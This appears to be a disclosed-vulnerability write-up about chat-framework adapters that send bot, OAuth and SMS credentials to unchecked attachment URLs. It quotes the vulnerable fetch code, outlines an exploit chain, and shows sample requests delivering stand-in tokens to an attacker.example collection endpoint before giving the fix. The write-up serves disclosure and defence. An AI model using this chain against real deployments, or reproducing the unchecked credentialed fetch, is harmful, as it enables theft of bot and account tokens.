Four chat adapters that send their bot token to any attachment URL
An open-source chat-agent framework downloads attachments from a URL taken from the message and puts the bot's credential on that request. One adapter checked the host first. Four didn't, and in one of them the attachment also chose which tenant's token was sent.
The framework ships adapters for twelve chat and messaging platforms. When a message arrives with a file, the adapter gives your handler an attachment object with a download method, and calling it fetches the file. Most platforms want the bot’s credential on that download, so the adapter adds it.
So for every adapter I asked two questions. Where does the download URL come from? And is it checked before the token goes on the request?
The suite adapter
The enterprise-suite adapter refuses to send its token anywhere except the connector’s own origin, with an exact HTTPS origin match:
if (retrieval.mode === "rejected" ||
!isTrustedAttachmentUrl (retrieval.url, retrieval.connectorOrigin)) {
throw new NetworkError("suite", "untrusted attachment URL, not sending the token");
}That guard told me two things before I’d tested anything. The project already knew a payload URL plus a credential was dangerous, and the fix already existed in their own code. The question was only where else it was missing.
The other four adapters
The workspace adapter, abbreviated:
const tokenResult = await auth.getAccessToken();
const response = await fetch(url , { headers: { Authorization: `Bearer ${token}` } });A fresh access token is minted and attached to whatever url was passed in. Nothing checks url between those two lines. The other three have the same shape.
I went through all twelve adapters and wrote it down as a table, because a table is hard to argue with:
| adapter | credential sent | host check |
|---|---|---|
| suite | bot token | yes, exact origin match |
| community, social | none, anonymous fetch | not needed |
| workspace | Bearer service-account OAuth token |
no |
| teamchat | Bearer bot token, tenant selectable |
no |
| sms | Basic account SID and auth token |
no |
| messaging | Bearer access token |
no, URL from the API response |
The bot-platform adapter puts its token in the URL path, but only ever against its configured API host. The issue-tracker and code-host adapters make no credentialed fetch to a URL from the payload. So six adapters attach a credential when downloading, and one of them checks where it’s going.
Exploit chain
The workspace adapter prefers the platform’s own download API, which takes a resource reference. When the attachment has no resource reference, it falls back to the download URL in the payload, and that fallback is the code above.
A separate issue, which I’m leaving out of this post, let me get a crafted event processed by the workspace adapter. With that:
- Send a crafted event whose attachment has a download URL pointing at my listener and no resource reference, so the adapter takes the fallback.
- The bot’s handler touches the attachment, as any bot that processes files will.
- The adapter sends the bot’s credential to my listener.
OUTBOUND: url: "https://attacker.example/collect"
auth: "Bearer <oauth2>.VICTIM-SERVICE-ACCOUNT-TOKEN "That’s the bot’s identity on the chat platform. The service account has the chat-bot scope at least, and domain-wide delegation wherever user impersonation is set up, which the adapter’s own documentation recommends for reading message history and DMs. The other bug on its own only lets you fake messages. With this one the token itself leaves, and it works directly against the platform’s API, outside the victim’s application.
Tenant selection
The teamchat adapter is worse in one way. When it rebuilds an attachment from stored data, it takes the URL and also the tenant selectors, the team and enterprise IDs, from the attachment’s metadata, looks up that installation’s token and downloads with it. In a multi-workspace install, the attachment metadata decides whose token gets sent:
OUTBOUND: url: "https://attacker.example/collect"
auth: "Bearer tc_bot_VICTIM-SECRET-TOKEN "Here I proved the sink and not the source, and the report said so. Normally the URL comes from the platform’s signed payload. The realistic sources are the framework’s JSON reviver run over untrusted input, or an application that forwards attachment objects it didn’t create. I didn’t demonstrate either. What I did confirm is that the attachment metadata, tenant selectors included, survives the JSON round trip through state and the concurrency queue untouched. So any attachment that gets deserialised reaches the sink, whether it comes from thread history, the queue or the reviver.
The sms adapter sends account-level basic auth, which is enough to send from the victim’s numbers and read every message in the account:
DECODED: ACCOUNT_SID:VICTIM_SMS_AUTH_TOKEN The messaging adapter is the weakest of the four. It fetches media metadata from the configured platform host, which is fine, then does a second fetch against a URL taken from that response, with the token still on it:
[1] https://<platform-api>/MEDIA_ID Bearer VICTIM_MESSAGING_TOKEN
[2] https://attacker.example/collect Bearer VICTIM_MESSAGING_TOKENTo control that second URL you’d need to influence the platform’s own API response first. I included it anyway, with that caveat written out, because it is the same missing check with the same one-line fix. It was fixed in the same pass.
Redirects
The suite adapter also sets maxRedirects: 0, while the others use fetch() with its default redirect handling. That looked like a second way in: send the token to a legitimate host that redirects to me. It isn’t. Node’s fetch drops the Authorization header on a cross-origin redirect. I wrote that down too, because it means a host allowlist alone is enough and the fix doesn’t need to touch redirects.
Fix
Check the origin before attaching a credential, in every adapter that attaches one: the platform’s file host for workspace and teamchat, the configured API host for sms, a platform-owned host for the messaging adapter’s second fetch. Better still, put the check in one helper in the shared package so the next adapter can’t forget it.
Whenever a request carries a credential, ask where its URL came from. It’s the same bug in attachment downloads, webhooks, avatar fetches, link previews and imports. And when a codebase has a family of plugins, audit all of them. The one correct sibling is your best evidence, and the second-hop case here only showed up because I read every adapter.
Disclosure
Reported to the project and fixed. The framework isn’t named. Adapters, packages and helpers are named by role, and the credentials in the output are labelled stand-ins.